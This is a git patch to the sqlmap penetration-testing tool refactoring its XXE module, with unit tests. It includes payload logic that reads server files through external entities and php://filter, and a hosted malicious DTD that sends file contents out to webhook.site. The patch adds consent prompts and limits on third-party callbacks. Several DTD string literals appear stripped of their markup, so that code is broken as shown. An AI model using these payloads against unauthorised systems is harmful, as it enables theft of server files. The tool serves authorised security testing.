From 3cf29a543a7d7913ac04fb6b5fd771707438d72b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 4 Jul 2026 10:36:10 +0200 Subject: [PATCH] Refactoring for --xxe --- data/txt/sha256sums.txt | 10 +- lib/core/settings.py | 12 +- lib/request/interactsh.py | 8 +- lib/request/webhooksite.py | 32 ++++- lib/techniques/xxe/inject.py | 232 +++++++++++++++++++++++------------ tests/test_xxe.py | 116 ++++++++++++++++++ 6 files changed, 313 insertions(+), 97 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index ed2947c53..e1c202926 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -d974c44979d7699feda3eafeb1baee9618cb6dbe27b144a6d36bec95527c5cee lib/core/settings.py +c8b5b430219d8bdd7e0139c2fe10a8175c55dc4ef2c1baa84fa24c4d6d8d4229 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -220,14 +220,14 @@ b1f07e0571f249eedf294b7827c530b0de8c0524d445b33fdb2d0a639c0f123a lib/request/dn 92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py 7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py -fa51d6c8855049ac18b8c08dfea87df3ce0ebcc094d62322e9f615284bca54af lib/request/interactsh.py +df97f7ccb437f9fda76b3d87cb5c11a01d09a0fa395c0d6bd555812cf92b70e6 lib/request/interactsh.py ff15723c82e343eb95f4599d251165d478ca720afc8f5daaed3da44ea923df44 lib/request/keepalive.py ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4 lib/request/methodrequest.py 43a7fdf64e7ba63c6b2d641c9f999a63c12ac23b43b64fedfce4e05b863de568 lib/request/pkihandler.py b90feeb16e89a844427df42373b0139eb6f6cf3c48ccec32b3e3a3f540c2451e lib/request/rangehandler.py fa347e74361904d052e4d5c958ebbdf080e4f7003176824a44786108b4d7afc6 lib/request/redirecthandler.py 1bf93c2c251f9c422ecf52d9cae0cd0ff4ea2e24091ee6d019c7a4f69de8e5eb lib/request/templates.py -58da8988a650c19e080980e545216158ba267065374c6812dabe0b22c1407bd2 lib/request/webhooksite.py +b53a750d957dc50cee15261358cafc3d339b8b28d70ebecf202009d0c13037a6 lib/request/webhooksite.py 01600295b17c00d4a5ada4c77aa688cfe36c89934da04c031be7da8040a3b457 lib/takeover/abstraction.py d3c93562d78ebdaf9e22c0ea2e4a62adb12f0ce9e9d9631c1ea000b1a07d04ab lib/takeover/icmpsh.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/takeover/__init__.py @@ -258,7 +258,7 @@ c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xxe/__init__.py -9a74178421ea0d98f7b27062e97eb55a12236deb893c2ef5f26fb6e734001f32 lib/techniques/xxe/inject.py +d9a776f37578e4c3b0498689eaff448904048b41d8ce9e758d2404a912c44ae8 lib/techniques/xxe/inject.py 2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py @@ -670,7 +670,7 @@ b03689c4dcca0e88a62a88784c61418f963c031d338a357dcc223560c8f9bd22 tests/test_use 93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f tests/test_wafbypass.py 81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py 9d6dd551b751ab38200ab190c744ec0a9afa798b37f83b0078a4325ab3f80aec tests/test_xpath.py -140aa78a94fb97e364cead82149f5a2c33d576b721f39ae52a6352072d770793 tests/test_xxe.py +b01acaa558b4f3e87957fe2d9a59d48878a7ed26660d5676ca34ecaaa1efd2b7 tests/test_xxe.py 55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 7f4522c89..86505b7b1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.24" +VERSION = "1.10.7.25" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -1102,13 +1102,12 @@ XXE_HARDENED_REGEX = r"(?i)(?:DOCTYPE is disallowed|DTD is prohibited|(?:externa OOB_INTERACTSH_SERVERS = ("oast.fun", "oast.pro", "oast.live", "oast.site", "oast.online", "oast.me") # Public content-hosting + request-logging endpoint for blind-XXE OOB exfiltration # (hosts the malicious external DTD and captures the file-bearing callback). Unlike -# interactsh it can serve arbitrary content; HTTP-only. Default exfil target is benign. +# interactsh it can serve arbitrary content; HTTP-only. Used only on explicit consent. OOB_EXFIL_ENDPOINT = "https://webhook.site" -OOB_EXFIL_DEFAULT_FILE = "/etc/hostname" OOB_CORRELATION_ID_LENGTH = 20 OOB_NONCE_LENGTH = 13 -OOB_POLL_ATTEMPTS = 5 -OOB_POLL_DELAY = 2 +OOB_POLL_ATTEMPTS = 15 # generous: two-hop exfil (target fetches DTD, then calls back) over the +OOB_POLL_DELAY = 2 # target's own link + webhook.site's eventually-consistent API (best-effort) # Time-based blind tier: an external entity aimed at this non-routable RFC5737 # TEST-NET-1 host makes a fetching parser stall on the connection, so a large, @@ -1118,9 +1117,8 @@ XXE_BLACKHOLE_HOST = "192.0.2.1" XXE_TIME_THRESHOLD = 5 XXE_IMPACT_FILES = ( - ("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="), # high-signal, tried first + ("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="), # anchored, high-signal ("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"), - ("file:///etc/hostname", r"^[\w.-]{1,255}$"), # loosest pattern, tried last ) # GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE: diff --git a/lib/request/interactsh.py b/lib/request/interactsh.py index b089dcd75..e57a09537 100644 --- a/lib/request/interactsh.py +++ b/lib/request/interactsh.py @@ -88,9 +88,13 @@ class Interactsh(object): handlers = [] try: + # Verify TLS for the (public, valid-cert) interaction server by default; + # only skip verification when the user has globally opted out (--force-ssl-verify + # off / verifyCert False), matching sqlmap's own TLS posture. context = ssl.create_default_context() - context.check_hostname = False - context.verify_mode = ssl.CERT_NONE + if conf.get("verifyCert") is False: + context.check_hostname = False + context.verify_mode = ssl.CERT_NONE handlers.append(HTTPSHandler(context=context)) except Exception: pass diff --git a/lib/request/webhooksite.py b/lib/request/webhooksite.py index 9191ae3ff..dac6edf6b 100644 --- a/lib/request/webhooksite.py +++ b/lib/request/webhooksite.py @@ -7,11 +7,12 @@ See the file 'LICENSE' for copying permission import json +from lib.core.data import conf from lib.core.data import logger +from lib.core.convert import getBytes from lib.core.convert import getText from lib.core.enums import HTTP_HEADER from lib.core.settings import OOB_EXFIL_ENDPOINT -from lib.request.connect import Connect as Request # webhook.site is used for blind-XXE OOB *exfiltration*: it can both serve a custom # response (our malicious external DTD) AND log the request the target then makes @@ -21,8 +22,9 @@ from lib.request.connect import Connect as Request class WebhookSite(object): """Thin webhook.site client: mints tokens (optionally serving fixed content) - and reads back the requests captured on them. All calls go through sqlmap's - request stack (proxy/timeout honoured) straight to the service, not the target.""" + and reads back the requests captured on them. Self-contained on urllib (like the + interactsh client): sqlmap's getPage caches by URL, which would make repeated + polls of the same /requests URL return a stale snapshot and miss the callback.""" def __init__(self): # Exfil host is the public content-serving endpoint (its token API is @@ -32,10 +34,28 @@ class WebhookSite(object): def _api(self, path, post=None): try: + import ssl + try: + from urllib.request import Request as _Request, build_opener, ProxyHandler, HTTPSHandler + except ImportError: + from urllib2 import Request as _Request, build_opener, ProxyHandler, HTTPSHandler + headers = {HTTP_HEADER.CONTENT_TYPE: "application/json"} if post is not None else {HTTP_HEADER.ACCEPT: "application/json"} - page, _, code = Request.getPage(url="%s%s" % (self.endpoint, path), post=post, - auxHeaders=headers, direct=True, silent=True, raise404=False) - return page if (code is None or code in (200, 201)) else None + handlers = [] + try: + context = ssl.create_default_context() + if conf.get("verifyCert") is False: + context.check_hostname = False + context.verify_mode = ssl.CERT_NONE + handlers.append(HTTPSHandler(context=context)) + except Exception: + pass + if conf.get("proxy"): + handlers.append(ProxyHandler({"http": conf.proxy, "https": conf.proxy})) + + request = _Request("%s%s" % (self.endpoint, path), data=getBytes(post) if post is not None else None, headers=headers) + response = build_opener(*handlers).open(request, timeout=conf.get("timeout") or 30) + return getText(response.read()) except Exception as ex: logger.debug("webhook.site request to '%s' failed: %s" % (path, getText(ex))) return None diff --git a/lib/techniques/xxe/inject.py b/lib/techniques/xxe/inject.py index 0a585c4d7..5876a7f06 100644 --- a/lib/techniques/xxe/inject.py +++ b/lib/techniques/xxe/inject.py @@ -11,6 +11,7 @@ import time from lib.core.common import beep from lib.core.common import dataToOutFile from lib.core.common import randomStr +from lib.core.common import readInput from lib.core.common import singleTimeWarnMessage from lib.core.convert import getBytes from lib.core.convert import getText @@ -21,12 +22,12 @@ from lib.core.data import logger from lib.core.dicts import POST_HINT_CONTENT_TYPES from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import HTTP_HEADER +from lib.core.enums import HTTPMETHOD from lib.core.settings import ASTERISK_MARKER from lib.core.settings import XXE_BLACKHOLE_HOST from lib.core.settings import XXE_ERROR_SIGNATURES from lib.core.settings import XXE_HARDENED_REGEX from lib.core.settings import XXE_IMPACT_FILES -from lib.core.settings import OOB_EXFIL_DEFAULT_FILE from lib.core.settings import OOB_POLL_ATTEMPTS from lib.core.settings import OOB_POLL_DELAY from lib.core.settings import XXE_LOCAL_DTDS @@ -38,6 +39,14 @@ from lib.request.connect import Connect as Request # so its presence in a response is unambiguously our reflected/expanded value. SENTINEL = randomStr(length=12, lowercase=True) +# When the user marked an explicit injection point in the body (e.g. 'luther*'), +# it is preserved as this placeholder and used as the SOLE injection spot, instead of +# rewriting every node - so schema/signature/id/auth-sensitive documents stay intact. +_MARKER = None + +# Cached answer to the one-time "use a public OOB service?" consent prompt (per scan). +_OOB_CONSENT = None + # First element of the document (skipping the prolog, comments and any # DOCTYPE). Its name must match the DOCTYPE name or libxml2/Xerces reject the doc. _ROOT_RE = re.compile(r"<\s*([A-Za-z_][\w.\-]*(?::[\w.\-]+)?)") @@ -52,13 +61,41 @@ def _looksXml(data): return data.startswith("<") and re.search(r"<[A-Za-z_?!]", data) is not None and '>' in data +def _toSystemId(path): + """Normalise a user file path (Unix, Windows, or already a URI) to a file:// systemId, + consistently across every tier.""" + p = getText(path or "").strip() + if "://" in p: + return p + return "file:///" + p.replace("\\", "/").lstrip("/") + + +def _toResource(path): + """Plain absolute path for a php://filter 'resource=' argument (URI/backslashes stripped).""" + p = getText(path or "").strip() + if p.startswith("file://"): + p = p[len("file://"):] + p = p.replace("\\", "/") + if re.match(r"^/?[A-Za-z]:/", p): # keep a Windows drive path as 'C:/...' + return p.lstrip("/") + return "/" + p.lstrip("/") + + def _cleanBody(): """Return the original request body with sqlmap's injection marks removed. Order matters: drop the injected custom marks first (any literal '*' from the original body was already escaped to ASTERISK_MARKER by target processing), then restore those escaped asterisks.""" + global _MARKER + _MARKER = None data = getText(conf.data or "") - data = data.replace(kb.customInjectionMark or "\x00", "") + mark = kb.customInjectionMark or "\x00" + if kb.get("processUserMarks") and mark in data: + # user chose the injection point explicitly - honour it as the SOLE spot + _MARKER = "xxemark%s" % randomStr(10, lowercase=True) + data = data.replace(mark, _MARKER, 1).replace(mark, "") + else: + data = data.replace(mark, "") data = data.replace(ASTERISK_MARKER, "*") return data.lstrip(u"\ufeff\ufffe") # drop a leading BOM so root/DOCTYPE handling stays correct @@ -86,6 +123,9 @@ def _send(body): if conf.delay: time.sleep(conf.delay) + if _MARKER and not isinstance(body, bytes) and _MARKER in body: + body = body.replace(_MARKER, "") # strip any unreplaced placeholder before sending + try: if conf.verbose >= 3: logger.log(CUSTOM_LOGGING.PAYLOAD, getUnicode(body)) @@ -132,6 +172,9 @@ def _placeRef(xml, snippet, attrs=False): for the external/XInclude tiers or the document becomes ill-formed). Falls back to injecting just before the root's closing tag when there is no text node at all.""" + if _MARKER and _MARKER in xml: + return xml.replace(_MARKER, snippet) # honour the user's explicit injection point + start = re.search(r"\]>", xml).end() if "]>" in xml else 0 head, tail = xml[:start], xml[start:] tail, count = _TEXTNODE_RE.subn(lambda _: ">" + snippet + "<", tail) @@ -169,19 +212,25 @@ def _fingerprint(page): def _echoed(page): - """True when the response mirrors our raw markup back. Essential guard for the - sentinel-in-path oracles: a debug/echo endpoint that never parses XML would - otherwise reflect the sentinel (it is inside the body we sent) and look like a - genuine parser error. A real error surfaces only the path/message, not the - DOCTYPE/entity declarations.""" - page = getUnicode(page or "") - return "' % (ent, systemId) payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2)) @@ -274,14 +322,14 @@ def _tryExternalFile(xml, rootName, baseline): def _tryPhpFilter(xml, rootName, baseline): - """PHP-only in-band read that survives newlines/binary: base64 a source file - through php://filter. Confirmed when the reflection decodes to file content.""" + """PHP-only in-band read (base64 via php://filter). Used only as a benign in-band + impact demonstration -> reads /etc/os-release; it deliberately never probes + /etc/passwd here (a specific file is read only on explicit '--file-read').""" from lib.core.convert import decodeBase64 baselineTokens = set(re.findall(r"[A-Za-z0-9+/]{16,}={0,2}", getUnicode(baseline or ""))) - for systemId, pattern in (("file:///etc/passwd", r":0:0:"), ("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)=")): - resource = systemId[len("file://"):] + for resource, pattern in (("/etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="),): ent = randomStr(length=8, lowercase=True) subset = '' % (ent, resource) payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent) @@ -328,22 +376,24 @@ def _tryLocalDtd(xml, rootName): return None, "" -def _tryErrorExfil(xml, rootName): +def _tryErrorExfil(xml, rootName, errorChannel=False): """In-band error-based file EXFILTRATION: coerce the parser into an error whose message embeds the target file's contents (not just a sentinel). Two vehicles: (a) repurpose a local on-disk DTD -> NO egress at all, or (b) a DTD we host on - the exfil service -> needs egress to fetch it plus verbose errors. php://filter - base64 carries a whole multi-line file intact; raw file:// leaks the first line - on any parser. Returns (content, filename) or (None, None).""" + the exfil service -> needs egress to fetch it plus verbose errors, so it is only + attempted when an error channel was already confirmed (else it is pointless and + just burns third-party requests). php://filter base64 carries a whole multi-line + file intact; raw file:// leaks the first line. Returns (content, filename).""" from lib.core.convert import decodeBase64 - fileName = conf.get("fileRead") or OOB_EXFIL_DEFAULT_FILE - resource = fileName if fileName.startswith("/") else "/" + fileName + fileName = conf.get("fileRead") + if not fileName: + return None, None marker = randomStr(10, lowercase=True) # (systemId, isBase64): base64 first (whole file, PHP), raw fallback (first line, any parser) - reads = (("php://filter/convert.base64-encode/resource=%s" % resource, True), - ("file://%s" % resource, False)) + reads = (("php://filter/convert.base64-encode/resource=%s" % _toResource(fileName), True), + (_toSystemId(fileName), False)) def _extract(page, isB64): pattern = (r"file:/+%s/([A-Za-z0-9+/=]+)" if isB64 else r"file:/+%s/([^\s'\"<>;)]+)") % re.escape(marker) @@ -368,8 +418,9 @@ def _tryErrorExfil(xml, rootName): if content: return content, fileName - # (b) DTD we host on the exfil service - egress + verbose errors (third party) - if not _oobEnabled(): + # (b) DTD we host on the exfil service - egress + verbose errors (third party): + # skip on a blind target (no error channel) and without explicit OOB consent + if not (errorChannel and _oobConsent()): return None, None from lib.request.webhooksite import WebhookSite wh = WebhookSite() @@ -469,11 +520,26 @@ def _tryTimeBlind(xml, rootName): def _oobEnabled(): - """Out-of-band tiers contact a public third party by default. Honour an explicit - opt-out (`--oob-server none`) for sensitive engagements.""" + """False when the user opted out of OOB entirely (`--oob-server none`).""" return (conf.get("oobServer") or "").strip().lower() not in ("none", "off", "0", "no", "disable", "false") +def _oobConsent(): + """True only when the user has opted into contacting a third-party OOB service: + either explicitly (`--oob-server `) or by answering the one-time prompt, + which defaults to NO - so '--batch' never silently phones a public service.""" + global _OOB_CONSENT + if not _oobEnabled(): + return False + if conf.get("oobServer"): + return True + if _OOB_CONSENT is None: + message = "do you want sqlmap to use a public out-of-band service " + message += "(interactsh/webhook.site) for blind XXE? [y/N] " + _OOB_CONSENT = readInput(message, default='N', boolean=True) + return _OOB_CONSENT + + def _tryOobExfil(xml, rootName): """T7 out-of-band EXFILTRATION for blind XXE: host a malicious external DTD on a public content+logging service (webhook.site), point the target's parser at @@ -486,17 +552,24 @@ def _tryOobExfil(xml, rootName): from lib.core.convert import decodeBase64 from lib.request.webhooksite import WebhookSite + fileName = conf.get("fileRead") + if not fileName: + return None + wh = WebhookSite() exfilToken = wh.newToken() if not exfilToken: logger.debug("out-of-band exfiltration tier skipped (could not reach the exfil service)") return None - target = conf.get("fileRead") or OOB_EXFIL_DEFAULT_FILE - exfilUrl = "%s/?x=%%file;" % wh.hostUrl(exfilToken) + marker = randomStr(10, lowercase=True) + # Carry the base64 in the URL PATH, not the query: query parsers turn '+' into a + # space and mangle '/'/'=', corrupting the payload. In the path those bytes survive + # and webhook.site logs the raw request URL, which we regex back out. + exfilUrl = "%s/%s/%%file;" % (wh.hostUrl(exfilToken), marker) dtd = ('\n' '">\n' - '%%eval;\n%%exfil;') % (target, exfilUrl) + '%%eval;\n%%exfil;') % (_toResource(fileName), exfilUrl) dtdToken = wh.newToken(dtd) if not dtdToken: return None @@ -506,15 +579,16 @@ def _tryOobExfil(xml, rootName): _send(payload) content, detected = None, False + pattern = re.compile(r"/%s/([A-Za-z0-9+/=]+)" % re.escape(marker)) for _ in range(OOB_POLL_ATTEMPTS): time.sleep(OOB_POLL_DELAY) for record in wh.captured(exfilToken): - leaked = (record.get("query") or {}).get("x") - if leaked: + match = pattern.search(getText(record.get("url") or "")) + if match: try: - content = getText(decodeBase64(leaked)) + content = getText(decodeBase64(match.group(1))) except Exception: - content = getText(leaked) + content = match.group(1) break if content: break @@ -523,7 +597,7 @@ def _tryOobExfil(xml, rootName): if not detected: detected = bool(wh.captured(dtdToken)) - return {"payload": payload, "filename": target, "content": content, "detected": detected} + return {"payload": payload, "filename": fileName, "content": content, "detected": detected} def _tryOob(xml, rootName): @@ -560,8 +634,9 @@ def _tryOob(xml, rootName): def xxeScan(): - global SENTINEL + global SENTINEL, _OOB_CONSENT SENTINEL = randomStr(length=12, lowercase=True) + _OOB_CONSENT = None debugMsg = "'--xxe' is self-contained: it detects XML External Entity injection " debugMsg += "in the request body and demonstrates file-read impact. SQL enumeration " @@ -583,29 +658,30 @@ def xxeScan(): baseline = _send(xml) found = False - # T2: in-band reflected (internal entity expansion) - the strongest oracle + # T2: in-band reflected DTD/internal-entity expansion. This proves the parser + # processes entities; it is NOT yet external-entity file-read impact - so the + # finding is worded conservatively and escalated only if an actual read follows. payload, page = _tryInternal(xml, rootName, baseline) if payload: found = True - logger.info("the XML body is vulnerable to XXE injection (in-band, entity expansion enabled)") - _report("In-band (reflected internal entity)", payload) + logger.info("the XML body processes DTD/internal entities (in-band reflection confirmed)") + _report("In-band DTD/internal entity expansion", payload) if conf.get("fileRead"): content = _tryInbandFileRead(xml, rootName, conf.fileRead) if content: - logger.info("in-band file read of '%s' succeeded" % conf.fileRead) + logger.info("in-band XXE file-read impact confirmed for '%s'" % conf.fileRead) _report("In-band file read ('%s')" % conf.fileRead, "" % conf.fileRead) _dumpFileRead(conf.fileRead, content) - - systemId, snippet = _tryExternalFile(xml, rootName, baseline) - if systemId: - logger.info("file-read impact confirmed via external entity ('%s'): '%s'" % (systemId, snippet)) - _report("Out-of-band file read (external entity '%s')" % systemId, " -> %s" % (systemId, snippet)) else: - phpPayload = _tryPhpFilter(xml, rootName, baseline) - if phpPayload: - logger.info("file-read impact confirmed via php://filter (base64 source disclosure)") - _report("File read via php://filter (base64)", phpPayload) + # benign, in-band impact demonstration (data stays in the response, no third party) + systemId, snippet = _tryExternalFile(xml, rootName, baseline) + if not systemId: + snippet = _tryPhpFilter(xml, rootName, baseline) + systemId = "php://filter" if snippet else None + if systemId: + logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId) + _report("In-band file-read impact (external entity '%s')" % systemId, "") # T3: error-based (works where entities are not reflected but errors leak) errorChannel = False @@ -626,13 +702,14 @@ def xxeScan(): logger.info("the XML body is vulnerable to XXE injection (error-based via local-DTD repurposing, no egress required)") _report("Error-based (local-DTD repurposing, back-end: '%s')" % backend, payload) - # T3c: error-based FILE EXFILTRATION - upgrade a confirmed error channel to an - # in-band file read (or attempt it directly when the user asked via --file-read) - if errorChannel or conf.get("fileRead"): - content, fileName = _tryErrorExfil(xml, rootName) + # T3c: error-based FILE EXFILTRATION - only on an explicit '--file-read' request. + # The local-DTD vehicle is always tried (no egress); the remote-DTD vehicle needs + # both a confirmed error channel (pointless on a blind target) and OOB consent. + if conf.get("fileRead"): + content, fileName = _tryErrorExfil(xml, rootName, errorChannel) if content: found = True - logger.info("the XML body is vulnerable to XXE injection (error-based in-band file read of '%s')" % fileName) + logger.info("error-based in-band XXE file read of '%s' succeeded" % fileName) _report("Error-based in-band file read ('%s')" % fileName, "" % fileName) _dumpFileRead(fileName, content) @@ -661,27 +738,28 @@ def xxeScan(): logger.info("the XML body is vulnerable to XXE injection (time-based blind, external entity resolution reaches out-of-band)") _report("Time-based blind (external entity to non-routable host)", payload) - # T7: out-of-band exfiltration via a hosted malicious DTD (also confirms blind XXE) - if not found and _oobEnabled(): - exfil = _tryOobExfil(xml, rootName) - if exfil and (exfil["content"] or exfil["detected"]): - found = True - if exfil["content"]: - logger.info("the XML body is vulnerable to blind XXE injection (out-of-band file read of '%s')" % exfil["filename"]) - _report("Out-of-band blind file read ('%s')" % exfil["filename"], exfil["payload"]) - _dumpFileRead(exfil["filename"], exfil["content"]) - else: - logger.info("the XML body is vulnerable to blind XXE injection (out-of-band, target fetched the hosted DTD)") - _report("Out-of-band blind (hosted-DTD callback)", exfil["payload"]) - - # T8: out-of-band blind confirmation via an interaction server (DNS+HTTP callback) - if not found and _oobEnabled(): - result = _tryOob(xml, rootName) - if result: - payload, protocol = result - found = True - logger.info("the XML body is vulnerable to XXE injection (out-of-band, confirmed via %s interaction with the collector)" % protocol) - _report("Out-of-band blind (collector callback: %s)" % protocol, payload) + # T7: out-of-band tiers - THIRD PARTY, so only on explicit consent (default NO). + # Low-impact callback confirmation is the default; actual file exfiltration is + # attempted only when the user explicitly asked for a file via '--file-read'. + if not found and _oobConsent(): + if conf.get("fileRead"): + exfil = _tryOobExfil(xml, rootName) + if exfil and (exfil["content"] or exfil["detected"]): + found = True + if exfil["content"]: + logger.info("blind XXE out-of-band file read of '%s' succeeded" % exfil["filename"]) + _report("Out-of-band blind file read ('%s')" % exfil["filename"], exfil["payload"]) + _dumpFileRead(exfil["filename"], exfil["content"]) + else: + logger.info("blind XXE confirmed (out-of-band; target fetched the hosted DTD)") + _report("Out-of-band blind (hosted-DTD callback)", exfil["payload"]) + else: + result = _tryOob(xml, rootName) + if result: + payload, protocol = result + found = True + logger.info("blind XXE confirmed (out-of-band %s callback to the interaction server)" % protocol) + _report("Out-of-band blind (collector callback: %s)" % protocol, payload) if not found: # Reachable-but-not-exploitable diagnostics: distinguish a hardened parser diff --git a/tests/test_xxe.py b/tests/test_xxe.py index 0c29c0585..8c46873c8 100644 --- a/tests/test_xxe.py +++ b/tests/test_xxe.py @@ -77,6 +77,17 @@ class TestBuildDoctype(unittest.TestCase): self.assertIn(self.SUBSET, out) self.assertIn("[", out) + def test_existing_internal_subset_with_gt_in_entity_value(self): + # a '>' inside a quoted entity value must not fool the internal-subset splice + out = xxe._buildDoctype('y">]>z', "r", self.SUBSET) + self.assertEqual(out.count("z', "r", self.SUBSET) + self.assertEqual(out.count("xxemarkzzzzother", "&e;") + self.assertIn("&e;", out) + self.assertIn("other", out) # other node left intact + self.assertNotIn("xxemarkzzzz", out) + + def test_clean_body_sets_marker_on_user_marks(self): + conf.data = "luther%s" % (kb.customInjectionMark or "*") + kb.processUserMarks = True + try: + cleaned = xxe._cleanBody() + self.assertIsNotNone(xxe._MARKER) + self.assertIn(xxe._MARKER, cleaned) + finally: + kb.processUserMarks = False + xxe._MARKER = None + + +class TestReportMethod(unittest.TestCase): + def test_report_uses_conf_method(self): + captured = [] + + class _Dumper(object): + def singleString(self, data, content_type=None): + captured.append(data) + + old_dumper, old_method, old_beep = conf.get("dumper"), conf.get("method"), conf.get("beep") + conf.dumper, conf.method, conf.beep = _Dumper(), "PUT", False + try: + xxe._report("Title", "Payload") + finally: + conf.dumper, conf.method, conf.beep = old_dumper, old_method, old_beep + self.assertIn("PUT XML body", captured[0]) + + +class TestOobBase64Capture(unittest.TestCase): + def test_path_capture_survives_plus_slash_equals(self): + import base64 + from lib.core.convert import getText, decodeBase64 + marker = "mk12345678" + raw = b">>>\xff\xfe some + / = data ==" + blob = getText(base64.b64encode(raw)) + self.assertTrue(any(c in blob for c in "+/=")) # ensure the risky chars are present + url = "http://webhook.site/tok/%s/%s" % (marker, blob) # base64 in the PATH + m = re.search(r"/%s/([A-Za-z0-9+/=]+)" % re.escape(marker), url) + self.assertIsNotNone(m) + self.assertEqual(m.group(1), blob) + self.assertEqual(decodeBase64(m.group(1)), raw) + + class TestDetectionMocked(unittest.TestCase): def setUp(self): self._send = xxe._send